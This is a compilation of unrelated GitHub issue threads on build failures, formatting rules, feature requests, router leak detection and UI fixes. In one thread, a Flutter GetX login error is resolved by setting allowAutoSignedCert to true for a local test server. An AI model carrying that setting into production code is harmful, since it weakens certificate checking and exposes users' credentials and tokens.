Checklist (tick everything that applies)

[ ] Metadata: pack.yaml, icon, structure (required for new packs)
[ ] Version bump (required for changed packs)
[ ] Code linting (required, can be done after the PR checks)
[ ] Tests (not required but really recommended)

@choopooly Thanks!
It would be great if you could also add some unit tests which will catch issues like that in the future - due to the lack of tests we had a lot of issues with this pack in the past :(
Please also make sure the existing build checks pass - https://travis-ci.org/StackStorm/st2contrib/jobs/152517325

@choopooly How is this PR looking? It would be great if we could get it finished and merged...

This PR is really old now so I will close it.
If this change is still relevant, please open a new PR against the latest master - thanks!


Orderly router shutdown and resource cleanup

On shutdown the router stops all processes "mid stream" and attempts to manually clean up resources that remain in use.  This is a best effort attempt and involves bespoke cleanup code for just about every system in the router.  Here is an example where the router core attempts to release resources for all links that were active at the point of shutdown.
This is error prone and triggers many leak events in ASAN.  This makes it nearly impossible to determine if a leak occurs during runtime (probably a serious issue) or just at shutdown (sloppy, but not service affecting).
The router's shutdown needs to be refactored to instead perform an orderly shutdown controlled by management. This feature would cause management to:

close the $management subscription to prevent further external management access.
delete all listeners and connectors to prevent new connections being established.
close all active connections
stop any periodic services (idle link scrubber, stuck delivery detection, etc).

This will trigger the existing run-time cleanup for all outstanding messages, dispositions, etc.  Once all connections finish closing, all in-flight messages are released, and other provisioned entities and services have been released, the subsystems (core, proactor, etc) can clean up and shutdown.
The devil is in the details for sure - this will be no small job.

Needs fixing: #156

Goal:    We want avoid runtime leaks in the router
Old way: All leak analysis at process exit (by asan or alloc pool leak detection)
New way: Shutdown all listeners, terminate connections, and OTHER STUFF; and then,
run leak analysis at a time prior to process exit.
The key thing here is to detect leaks only for the desired scope, not for the whole router process.

I'm sorry but I still don't much understand this.

Runtime leaks are quite different problem from orderly shutdown. You can have one and not the other, vice versa. Compare the memory leaks in Java and JavaScript, for example.
I do not see what the new way would translate into, practically. How does it apply to, for example, Mick's https://github.com/skupperproject/skupper-router/issues/253 or to https://github.com/skupperproject/skupper-router/issues/335?

Even simpler trial case of a leak to be judged by the new rules, https://github.com/skupperproject/skupper-router/issues/156

The key thing here is to detect leaks only for the desired scope, not for the whole router process.

I guess this is the main stumbling block for me. How do you do that? How do you tell that "this buffer was 'leaked' because we did not bother to free it (yet), and is not truly leaked because there is a bug in the code and it would never be cleared up, even if the connection it is related to was closed (while the router continues running)"?

Won't fix.
It has been decided to maintain the current resource cleanup architecture


feat(core): bottom sheet component

Feature Request
Ionic version:
[x] 4.x
Describe the Feature Request
Just saw the video of @joshuamorony where he creates a custom "bottom-sheet" component.
I had such a need a couple of months ago too and had to develop something custom too.
I already brought the idea in a slack chat recently but I think it would be definitely an asset, to have such a "bottom sheet" component being part of the Ionic core components. That's why I'm opening this feature request.
Describe Preferred Solution
A typical example and expected behavior of such component is the "bottom sheet modal" appearing on the Google Maps.

The modal appears from bottom
Could be dragged up and down
When the modal is dragged to fullscreen, then content could be scrolled

All capabilities and definitions are described in the 👉 Material Design Guide
Screenshots

any news on that?


Issue with indentation of expressions in ternary expression

This relates to https://github.com/sheerun/prettier-standard/issues/76
functions are normally formatted with indentation which looks nice:
commission => {
  return suggestions.hits.map(hit => something(hit))
}

but when trenary expression is used it doesn't have it:
search.premium
  ? commission => {
    return suggestions.hits.map(hit => something(hit))
  }
  : () => onOpen()

It seems to me that while having indentation of each level of ?: is great decision, the less great decision is that indentation is at the level of ? itself instead of at the level of of expression after ? (this doesn't prevent expressions being indented for each level of ?:):
search.premium
  ? commission => {
      return suggestions.hits.map(hit => something(hit))
    }
  : () => onOpen()

Here's an example with multi-level ?:. That's how it is currently:
search.premium
  ? commission => {
    return suggestions.hits.map(hit => something(hit))
  }
  : something
    ? commission => {
      return suggestions.hits.map(hit => something(hit))
    }
    : null

That's what I think it should be:
search.premium
  ? commission => {
      return suggestions.hits.map(hit => something(hit))
    }
  : something
    ? commission => {
        return suggestions.hits.map(hit => something(hit))
      }
    : null

Another example what it is currently:
search.premium
  ? somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething &&
  somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething
  : something
    ? somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething &&
    somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething
    : null

And what it probably should be:
search.premium
  ? somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething &&
    somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething
  : something
    ? somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething &&
      somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething
    : null

And here's what prettier currently does (plese notice that ?: is at the same level, but also indentation of expression is at the same level as something... and not ?:
search.premium
  ? somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething &&
    somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething
  : something
  ? somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething &&
    somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething
  : null

You might say the same "bug" in prettier would look like this:
search.premium
  ? somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething &&
  somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething
  : something
  ? somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething &&
  somethingsomethingsomethingsomethingsomethingsomethingsomethingsomething
  : null

@sheerun thank you for your interest and detailed report.
Feel to me like this should be discussed upstream, ESLint. Is there an issue for this there?

I totally agree. I am using many ternaries and this bothers me, as well.

Seems like a duplicate of #927, doesn't it? If I'm wrong, please tell me.


Allow custom URL via env-var for customer validation

Expected Behaviour

Anyone can host their own Derek and also validate their own customer list
Current Behaviour

The code will validate against our list.
Possible Solution

There is a workaround though - just disable customer validation via the existing env-var flag.
I'd suggest we allow the customer list URL to be supplied via env-var too.
Related #51

I’ll pick this up.
https://github.com/alexellis/derek/blob/32ab31824e44ce93b8e3eb9ff014deaac5c4ef4b/auth/customers.go#L21
I take it we want to take env var if set or default to the current value?

I think that would be a good approach


Update Android app to be targeted to API level 30 (Android 11)

[ ] set target API level to 30
[ ] re-test the whole app
[ ] add fixes if need
[ ] also, need to re check if we actually using the Android App Bundle publishing format. @sirpy have notified that we're using the bundle tool but better to make sure in that rather then have some issues with publishing in the future

An OpenJDK may be needed for build.
I tried API level 31 and it's requires OpenJDK, not sure for 100% about 30 - will try.


GetConnect - HandshakeException: Handshake error in client (OS Error: CERTIFICATE_VERIFY_FAILED: unable to get local issuer certificate(handshake.cc:359))

I have a problem, when I try to make a post from a class that extends GetConnect, it returns the following exception:
HandshakeException: Handshake error in client (OS Error: CERTIFICATE_VERIFY_FAILED: unable to get local issuer certificate (handshake.cc:359))
The code is the next:
class AuthenticationService extends GetConnect {
  late final SharedPreferences prefs;
  @override
  Future onInit() async {
    httpClient.baseUrl = "https://<IP_ADDRESS>2:45455/api"; // I'm doing the tests in a local url for example: 192.168.x.x:{port}/api
    httpClient.timeout = Duration(seconds: 20); // tests duration
    prefs = await SharedPreferences.getInstance();
  }

  Future<bool> login(LoginDTO login) async {
    var response = await post<LoginDTO>("/login", login);
    if (response.hasError) return false;

    var user = response.body;
    var validUser = user!.isEmpty();

    if (validUser) {
      await prefs.setString("token", user.token);
    }

    return validUser;
  }
}

Steps to reproduce the behavior:

Press click to login
The call arrives at the service where it sent a request to log in (local server - debug mode)
and when the request is sent it returns that error

Expected behavior
what is expected is that the information of the user who is logging in will return.
Flutter Version:
Enter the version of the Flutter you are using

Getx Version:
get: 4.3.5
Describe on which device you found the bug:
Pixel 3 API 30 - android emulator
Some solutions that I have used but have not worked for me:
https://stackoverflow.com/questions/54285172/how-to-solve-flutter-certificate-verify-failed-error-while-performing-a-post-req
Just a clarification, before I was using Dio and it worked correctly, but I don't want to use it anymore, since GetX has everything that is necessary to avoid using other external http libraries.
And thank the team, since GetX is a wonderful library, I personally come from Provider and Mobx and none of them convince me, but GetX is different, the team behind all this is great!
Thanks in advance.

Have you tried set the  allowAutoSignedCert to true?

Hello @jasonlaw,
to be honest no, let me try it and let you know.
thanks for your fast reply :D

Thanks a million @jasonlaw!!! Works as expected once the allowAutoSignedCert property is set to true.
Here I leave the code in case someone else is helpful:
class AuthenticationService extends GetConnect {
  late final SharedPreferences prefs;
  @override
  Future onInit() async {
    allowAutoSignedCert = true;
    httpClient.baseUrl = "https://<IP_ADDRESS>2:45455/api"; // I'm doing the tests in a local url for example: 192.168.x.x:{port}/api
    httpClient.timeout = Duration(seconds: 20); // tests duration
    prefs = await SharedPreferences.getInstance();
  }

  Future<bool> login(LoginDTO login) async {
    var response = await post<LoginDTO>("/login", login.toJson());
    if (response.hasError) return false;

    var user = response.body;
    var validUser = user!.isEmpty();

    if (validUser) {
      await prefs.setString("token", user.token);
    }

    return validUser;
  }
}

Again, thank you very much GetX team!

Hello @jasonlaw, I have another problem, not so related to the main title, but within the same method that I shared, when the call returns the user's information I get the following error:

I understand that it is something related to the deserialization of the object, but I understand, according to the documentation the deserialization is done automatically, the normal thing would be to have 2 methods:
-one to serialize
-and the other to deserialize
For example:
class LoginDTO {
  String id;
  String firstname;
  String lastname;
  String email;
  String username;
  String password;
  String token;

  LoginDTO(
      {this.id = '',
      this.firstname = '',
      this.lastname = '',
      this.email = '',
      this.username = '',
      this.password = '',
      this.token = ''});

  bool isEmpty() {
    return id == '' &&
        firstname == '' &&
        lastname == '' &&
        email == '' &&
        password == '' &&
        token == '';
  }

  // LoginDTO.fromJson(Map<String, dynamic> json) {
  //   id = json['id'];
  //   firstname = json['firstname'];
  //   lastname = json['lastname'];
  //   email = json['email'];
  //   username = json['username'];
  //   password = json['password'];
  //   token = json['token'];
  // }

  Map<String, dynamic> toJson() {
    var data = new Map<String, dynamic>();
    data['id'] = this.id;
    data['firstname'] = this.firstname;
    data['lastname'] = this.lastname;
    data['email'] = this.email;
    data['username'] = this.username;
    data['password'] = this.password;
    data['token'] = this.token;

    return data;
  }
}

but I understand that this is not necessary in GetX or I don't know if I am misinterpreting how getX works here.
I don't know if we can see this problem here or would I have to open another issue?
Thanks in advance

Closing issue since it's solved


cardano-node: reduce orphan instances

Description
This PR starts reducing the content of the Cardano.Node.Orphans module.
Checklist

[ ] Commit sequence broadly makes sense and commits have useful messages
[ ] New tests are added if needed and existing tests are updated.  These may include:

golden tests
property tests
roundtrip tests
integration tests
See Runnings tests for more details

[ ] Any changes are noted in the CHANGELOG.md for affected package
[ ] The version bounds in .cabal files are updated
[ ] CI passes. See note on CI.  The following CI checks are required:

[ ] Code is linted with hlint.  See .github/workflows/check-hlint.yml to get the hlint version
[ ] Code is formatted with stylish-haskell.  See .github/workflows/stylish-haskell.yml to get the stylish-haskell version
[ ] Code builds on Linux, MacOS and Windows for ghc-8.10.7 and ghc-9.2.7

[ ] Self-reviewed the diff

LGTM, have you opened PRs in the other relevant repos?

@Jimbo4350> That's my question for the remaining instances. For those I can't inline the typeclass definition in the positions where it is used. So should I add the non-orphans instances to the other relevant repos? And then we will use the new instances when we update our dependencies (that's our workflow right?).

@Jimbo4350> I started doing the PRs to other repos, e.g. https://github.com/input-output-hk/iohk-monitoring-framework/pull/644
However, I suggest to merge this one soon, as this one - in the current state - is standalone. What do you think?

Created the other PR required to get rid of Orphans.hs: https://github.com/input-output-hk/ouroboros-network/pull/4674

I'm enqueueing for merge, since in the final state it only removes an unusued orphan instance and is good to go as is.
I've kept track in https://github.com/input-output-hk/cardano-node/issues/5470 of the follow-up work in other repos to further shrink the instances from this repo.

@smelc I have no clue what happened to ubuntu runners, but maybe you need to add apt update in GHA workflow to fix them: https://github.com/input-output-hk/cardano-api/pull/248/files#diff-c09cc8dc973415b1221308559b96942a1c4b872e690bf360fc22d9b42822d519R48


xrdp need to update to version 0.9.16 to match xorgxrdp version

xorgxrdp configure failed with
configure: error: Package requirements (xrdp >= 0.9.16) were not met:
Requested 'xrdp >= 0.9.16' but version of xrdp is 0.9.15

@i928 - you'll need to build xrdp first, then build xorgxrdp from it. To avoid any confusion, don't use a machine which already has xrdp installed.

I have built xrdp first, than xorgxrdp. I also setup PKG_CONFIG_PATH environment.
Above error is after I compiled xrdp.
configure: error: Package requirements (xrdp >= 0.9.16) were not met:
Requested 'xrdp >= 0.9.16' but version of xrdp is 0.9.15
Consider adjusting the PKG_CONFIG_PATH environment variable if you
installed software in a non-standard prefix.
Alternatively, you may set the environment variables XRDP_CFLAGS
and XRDP_LIBS to avoid the need to call pkg-config.
See the pkg-config man page for more details.

The pkgconfig utility is finding a file xrdp.pc installed on your system from a 0.9.15 installation.
Couple of options for you:-

Install the new version of xrdp using make install and try again.
If you've build xrdp on your current system in (for example) /home/i928/xrdp, use this command to configure xorgxrdp:-XRDP_CFLAGS="-I/home/i928/xrdp/common" ./configure

Adjust the path in XRDP_CFLAGS as appropriate and don't forget the /common at the end.

xrdp 0.9.16 hasn't been released but will be released in a few days. We're in preparation for the release. So the version requirement will never meet right now.  Don't be rushed and reporting issues one after another you met.  You should just wait until the release.


Fix mac build again

Brew dependencies have stabilised, so the brewfile seems to work again. The PR installs go through brew to (hopefully) fix the missing go error and thus the mac build.
Checklist:

[ ] Document code purpose, how to use it

Mention expected invariants, implicit constraints

[ ] Tests were added for the new behavior

Document test purpose, significance of failures
Test names should reflect their purpose

[ ] All tests pass (CI will check this if you didn't)
[ ] Serialized types are in stable-versioned modules
[ ] Does this close issues? List them:

This is as functional as I can make it. We're hitting errors on CI, but they seem to be from memory exhaustion, which I can't fix in this PR.
cp: _build/coda-daemon-macos/keys/step-cce73db272c045c8fed33ba394db0974: No space left on device
cp: _build/coda-daemon-macos/keys/step-779e353375c35c3ff555eda36ed4e816: No space left on device
cp: _build/coda-daemon-macos/keys/tweedledum_19_v2: No space left on device
cp: _build/coda-daemon-macos/keys/vk-step-cce73db272c045c8fed33ba394db0974: No space left on device
cp: _build/coda-daemon-macos/keys/genesis_ledger_accounts_86648c7d9b52a51b1bc39bf53a2a3d959d77b21d876c3d1aa04635021b4b8a88_70094ecf26e8ec5480b1b52d7bd24741bc60aafeb6bec60351dd04edbf46f7a6.tar.gz: No space left on device
cp: _build/coda-daemon-macos/keys/vk-step-779e353375c35c3ff555eda36ed4e816: No space left on device
cp: _build/coda-daemon-macos/keys/wrap-7cea9a800ccee1962a4f13e333322ce7: No space left on device


API

This could be an RPC API, or a Rust library crate, depending on what people want.

gRPC/protobuf would be handy to self-generate client code in almost all languages out there, to allow to integrate ord in as many apps as possible

Talked to a wallet developer, a library crate would really help - essentially taking out the "pub crate". @casey we had talked about that months ago (I wanted to use as a library as well), and I remember you had some concerns, that I do not remember.

Also could use a library crate.

It technically already is a library crate but we haven't designed it in a way that lends itself to be used as a library. We do want to make it more useful though.
I'd be interested to know which parts of the codebase would be most useful for you? Just to know where to start

bump

I'd be interested to know which parts of the codebase would be most useful for you? Just to know where to start

In my case I want to use ParsedEnvelope::from_transaction() but it's private.

In my case I want to use ParsedEnvelope::from_transaction() but it's private.

Ok thanks, that is a useful one.
Just going to connect this #2964, which would be the first step.


Add support for handlebars: hbs

in ember projects, there is a way to do inline-templating via the hbs template string method.
example:
import Component from '@ember/component';

export default class MyComponent extends Component {
  static layout = hbs`
    {{#navigation as |nav|}}
      {{nav.link to='some.path'}}
      {{nav.link to='://google.com'}}
    {{/navigation}}
  `;
}

Is this something that can be thrown into this package? I see that the gql\`` template string is already supported :-)
the hbs template string is also used in integration tests for components as well,
for example:
test('can be told to render initially', withChai(function(expect) {
  this.set('errors', [{ code: 401 }]);

  this.render(hbs`{{error-header errors=errors hidden=false}}`);

  expect(this.$().text()).to.include(NOT_AUTHORIZED);
}));

You should be able to do this via this via one of my package settings. See here for more information.
e.g.
hbs:text.html.mustache will use the language-mustache package to highlight your templates.

it works!

thanks!
for future people I did this (in case you can't find stuff):

(using the package atom-handlebars)


Windows builds require libcc_s_seh-1.dll to be available

The Windows Clang builds require libcc_s_seh-1.dll, which is present in the Git Bash environment (mingw based).  This is unexpected; I'm not sure why this dependency is coming in to clang itself.  We should fix this, as right now the generated wasi SDK for Windows only works if you have this DLL in your path from somewhere.
(I can take a look at some point, but if someone beats me to it please do)

Any idea on how to fix this welcome.  The core devs working on wasi-sdk don't use windows themseleves so its really up to windows users and contributors to keep this working.

The issue is this:
-- The C compiler identification is GNU 8.1.0
-- The CXX compiler identification is GNU 8.1.0
-- The ASM compiler identification is GNU
-- Found assembler: C:/ProgramData/chocolatey/bin/gcc.exe
...
-- Check for working C compiler: C:/ProgramData/chocolatey/bin/gcc.exe - skipped

Basically the image environment has some random gcc in it, and cmake picks this up by default.  I believe the actions windows image should have VS in it which is what we want to use.  Will try to wrangle the cmake setup.

the problem resurfaced in recent v23 release, probably after #429

Thanks for the report! I've opened https://github.com/WebAssembly/wasi-sdk/issues/454 to track that, and I'll work on investigating it over there.


Not -> now

If this is really NOT the preferred method, you should say what it is. But from context seems like it is NOW the preferred method

@edyoung : Thanks for your contribution! The author(s) have been notified to review your proposed change.


CR003:Minor change in the UX/UI post-demo [PWA]

Change the Logo:
The current app logo has low pixel quality. Replace it with a high-resolution version to ensure it appears sharp across all devices and screen sizes.

Fix Spelling Error During Buffering:
The word “translating” is misspelled during buffering. Correct the spelling to improve professionalism and user trust.

Split Screen Chat Bug:
Address the issue with split screen chat where the language option button color is not coordinated, affecting usability.

Adjust Language and Mic Buttons on iOS:
On iOS devices, the language and mic buttons are positioned too low on the screen. Adjust their position upwards to enhance usability.

Fix Like Button Responsiveness:
The like button is unresponsive or slow to react. Improve its functionality so that it works instantly upon clicking.

@Tendolls you can test on
Monlam AI Translator PWA

Done except for the logo change. @kaldan007